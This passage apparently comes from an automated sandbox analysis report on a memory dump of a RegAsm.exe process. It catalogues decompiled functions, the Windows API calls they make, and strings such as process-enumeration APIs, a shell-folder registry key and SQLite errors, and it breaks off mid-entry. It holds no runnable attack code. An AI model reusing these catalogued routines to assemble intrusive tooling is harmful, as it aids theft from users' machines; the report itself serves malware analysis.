                      • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                      Function 004028E7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$wcslen
                      • String ID:
                      • API String ID: 239872665-3916222277
                      • Opcode ID: 6ece4f15149c4f8b0f1e95fdfa43d3662bfdaf9dea83468c5f0cbecd63c28e51
                      • Instruction ID: 6c84a66137f0c35b9d0eb965e4703c645d554f15bb1c6f80accdbf0b715e4580
                      • Opcode Fuzzy Hash: 6ece4f15149c4f8b0f1e95fdfa43d3662bfdaf9dea83468c5f0cbecd63c28e51
                      • Instruction Fuzzy Hash: 78614A70E0421ADADF28AF95E6485EEB771FF04315F60807BE411B62D1EBB84981CB5D
                      Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$_snwprintfmemset
                      • String ID: %s (%s)$YV@
                      • API String ID: 3979103747-598926743
                      • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                      • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                      • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                      • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                      Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,?,?,?,00409764,?), ref: 0040A686
                      • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6A4
                      • wcslen.MSVCRT ref: 0040A6B1
                      • wcscpy.MSVCRT ref: 0040A6C1
                      • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6CB
                      • wcscpy.MSVCRT ref: 0040A6DB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                      • String ID: Unknown Error$netmsg.dll
                      • API String ID: 2767993716-572158859
                      • Opcode ID: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                      • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                      • Opcode Fuzzy Hash: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                      • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                      Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • database is already attached, xrefs: 0042F721
                      • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                      • too many attached databases - max %d, xrefs: 0042F64D
                      • cannot ATTACH database within transaction, xrefs: 0042F663
                      • unable to open database: %s, xrefs: 0042F84E
                      • database %s is already in use, xrefs: 0042F6C5
                      • out of memory, xrefs: 0042F865
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpymemset
                      • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                      • API String ID: 1297977491-2001300268
                      • Opcode ID: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                      • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                      • Opcode Fuzzy Hash: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                      • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                      Function 00417887 Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON
                      Download Yara Rule
                      APIs
                      • LockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004178DF
                      • Sleep.KERNEL32(00000001), ref: 004178E9
                      • GetLastError.KERNEL32 ref: 004178FB
                      • UnlockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004179D3
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$ErrorLastLockSleepUnlock
                      • String ID:
                      • API String ID: 3015003838-0
                      • Opcode ID: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                      • Instruction ID: bb7e89fefddb53edf96b8819cb9ac805ac4f8ca395f1f2490f4f27a155f14dd5
                      • Opcode Fuzzy Hash: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                      • Instruction Fuzzy Hash: C741FFB515C3029FE3209F219C05BA7B7F1BFC4714F20092EF5A556280CBB9D8898A6E
                      Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                      • wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                        • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                      • wcslen.MSVCRT ref: 0040D1D3
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                      • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                      • memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0CC
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0EA
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D108
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D126
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                      • String ID: strings
                      • API String ID: 3166385802-3030018805
                      • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                      • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                      • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                      • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                      Function 0040D898 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040D8BD
                      • GetDlgCtrlID.USER32(?), ref: 0040D8C8
                      • GetWindowTextW.USER32(?,?,00001000), ref: 0040D8DF
                      • memset.MSVCRT ref: 0040D906
                      • GetClassNameW.USER32(?,?,000000FF), ref: 0040D91D
                      • _wcsicmp.MSVCRT ref: 0040D92F
                        • Part of subcall function 0040D76E: memset.MSVCRT ref: 0040D781
                        • Part of subcall function 0040D76E: _itow.MSVCRT ref: 0040D78F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
                      • String ID: sysdatetimepick32
                      • API String ID: 1028950076-4169760276
                      • Opcode ID: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                      • Instruction ID: 7fefccf0184427ff86f81c2eca1e08be5bb75bf3b76f29e65549559b88306b24
                      • Opcode Fuzzy Hash: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                      • Instruction Fuzzy Hash: 061177769002197AEB10EB91DC49EDF7BACEF05750F0040BAF508D2192EB749A85CA59
                      Function 004044A4 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 52librarywindowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                      • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                      • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$FreeLoadMessage
                      • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                      • API String ID: 3897320386-317687271
                      • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                      • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                      • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                      • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                      Function 004138C1 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • FreeLibrary.KERNEL32(00000000), ref: 00413951
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                      • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                      • API String ID: 4271163124-70141382
                      • Opcode ID: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                      • Instruction ID: 1ed0e205fb1d3ca6b4a3c81c58fecbd4dea9624ac3f9f6029147382c5f000437
                      • Opcode Fuzzy Hash: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                      • Instruction Fuzzy Hash: 7301B5B1905312DAD7705F31AE40B6B2FA45B81FA7B10003BEA00D1286DBFCC8C5DA6E
                      Function 0041383D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 44COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(kernel32.dll,?,0041339D), ref: 0041384C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule
                      • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                      • API String ID: 4139908857-3953557276
                      • Opcode ID: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                      • Instruction ID: ced2a49a11d8a5ad7e856d80fa96ce31c371be68fc2c17877008b9264e9f9212
                      • Opcode Fuzzy Hash: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                      • Instruction Fuzzy Hash: 58F08631900317A9E7206F357D41B672AE45B86F83714017BFC04D12D9DB7CE98A9B6D
                      Function 0041B7D9 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID: -journal$-wal
                      • API String ID: 438689982-2894717839
                      • Opcode ID: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                      • Instruction ID: 9370885b9bf0560d7aa4477d28ce4586d78acc2621466e64c0ac2b95c9c5353a
                      • Opcode Fuzzy Hash: a23b5b0b71c70c88a774746b26d285d432c8b869e41e999d2c4a765dbb53c531
                      • Instruction Fuzzy Hash: CBA1EFB1A04606EFCB14DF69C8417DAFBB4FF04314F14826EE46897381D738AA95CB99
                      Function 0041881C Relevance: 12.1, APIs: 8, Instructions: 70timeCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$CountCounterCurrentPerformanceProcessQuerySystemTickTime
                      • String ID:
                      • API String ID: 4218492932-0
                      • Opcode ID: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                      • Instruction ID: a427a134a5f43ecd7f569dc5a6dbdc76404a49e7a1b6a3986382666b5299f542
                      • Opcode Fuzzy Hash: 5b3bc6f1ade46934c27ca3d947f7b8c79a38ab90bf8452c3a07df30f33fc823a
                      • Instruction Fuzzy Hash: 141184B39001286BEB00AFA5DC899DEB7ACEB1A210F454837FA15D7144E634E2488795
                      Function 0044A7C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 203COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6EB
                        • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6FB
                        • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A75D
                        • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A7AA
                      • memcpy.MSVCRT ref: 0044A8BF
                      • memcpy.MSVCRT ref: 0044A90C
                      • memcpy.MSVCRT ref: 0044A988
                        • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A422
                        • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A46E
                      • memcpy.MSVCRT ref: 0044A9D8
                      • memcpy.MSVCRT ref: 0044AA19
                      • memcpy.MSVCRT ref: 0044AA4A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID: gj
                      • API String ID: 438689982-4203073231
                      • Opcode ID: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                      • Instruction ID: 6893d0ddfb5a5ce8f484e87047b84ef7868cce638272d7e844f470f6f9013d76
                      • Opcode Fuzzy Hash: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                      • Instruction Fuzzy Hash: 2E71D6F39083449BE310EF25D84059FB7E9ABD5348F050E2EF88997205E639DA19C797
                      Function 0040D7A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ItemMenu$CountInfomemsetwcschr
                      • String ID: 0$6
                      • API String ID: 2029023288-3849865405
                      • Opcode ID: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                      • Instruction ID: 35075b9e4b0179943f9cc9fcb0392e174ec026107191ec1d659f896637aaeb19
                      • Opcode Fuzzy Hash: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                      • Instruction Fuzzy Hash: A321AB32905300ABD720AF91DC8599FB7B8FB85754F000A3FF954A2280E779D944CB9A
                      Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                      • memset.MSVCRT ref: 00405455
                      • memset.MSVCRT ref: 0040546C
                      • memset.MSVCRT ref: 00405483
                      • memcpy.MSVCRT ref: 00405498
                      • memcpy.MSVCRT ref: 004054AD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$memcpy$ErrorLast
                      • String ID: 6$\
                      • API String ID: 404372293-1284684873
                      • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                      • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                      • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                      • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                      Function 0041851E Relevance: 10.6, APIs: 7, Instructions: 67sleepCOMMON
                      Download Yara Rule
                      APIs
                      • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                      • GetLastError.KERNEL32 ref: 0041855C
                      • Sleep.KERNEL32(00000064), ref: 00418571
                      • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                      • GetLastError.KERNEL32 ref: 0041858E
                      • Sleep.KERNEL32(00000064), ref: 004185A3
                      • ??3@YAXPAX@Z.MSVCRT ref: 004185AC
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: AttributesErrorFileLastSleep$??3@
                      • String ID:
                      • API String ID: 1040972850-0
                      • Opcode ID: 609e8585d10487ae529d0e45f017ab7cc050c6f090476510ecc0468bc0539608
                      • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                      • Opcode Fuzzy Hash: 609e8585d10487ae529d0e45f017ab7cc050c6f090476510ecc0468bc0539608
                      • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                      Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                      Download Yara Rule
                      APIs
                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                      • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                      • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                      • wcscpy.MSVCRT ref: 0040A0D9
                      • wcscat.MSVCRT ref: 0040A0E6
                      • wcscat.MSVCRT ref: 0040A0F5
                      • wcscpy.MSVCRT ref: 0040A107
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                      • String ID:
                      • API String ID: 1331804452-0
                      • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                      • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                      • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                      • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                      Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • <?xml version="1.0" ?>, xrefs: 0041007C
                      • <%s>, xrefs: 004100A6
                      • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf
                      • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                      • API String ID: 3473751417-2880344631
                      • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                      • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                      • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                      • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                      Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscat$_snwprintfmemset
                      • String ID: %2.2X
                      • API String ID: 2521778956-791839006
                      • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                      • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                      • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                      • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                      Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintfwcscpy
                      • String ID: dialog_%d$general$menu_%d$strings
                      • API String ID: 999028693-502967061
                      • Opcode ID: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                      • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                      • Opcode Fuzzy Hash: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                      • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                      Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                        • Part of subcall function 00414592: RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                        • Part of subcall function 0040A9CE: ??3@YAXPAX@Z.MSVCRT ref: 0040A9DD
                      • memset.MSVCRT ref: 0040C439
                      • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                      • _wcsupr.MSVCRT ref: 0040C481
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      • memset.MSVCRT ref: 0040C4D0
                      • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                      • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                      • String ID:
                      • API String ID: 1973883786-0
                      • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                      • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                      • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                      • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                      Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004116FF
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                        • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                        • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                        • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                        • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                        • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                      • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                      • API String ID: 2618321458-3614832568
                      • Opcode ID: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                      • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
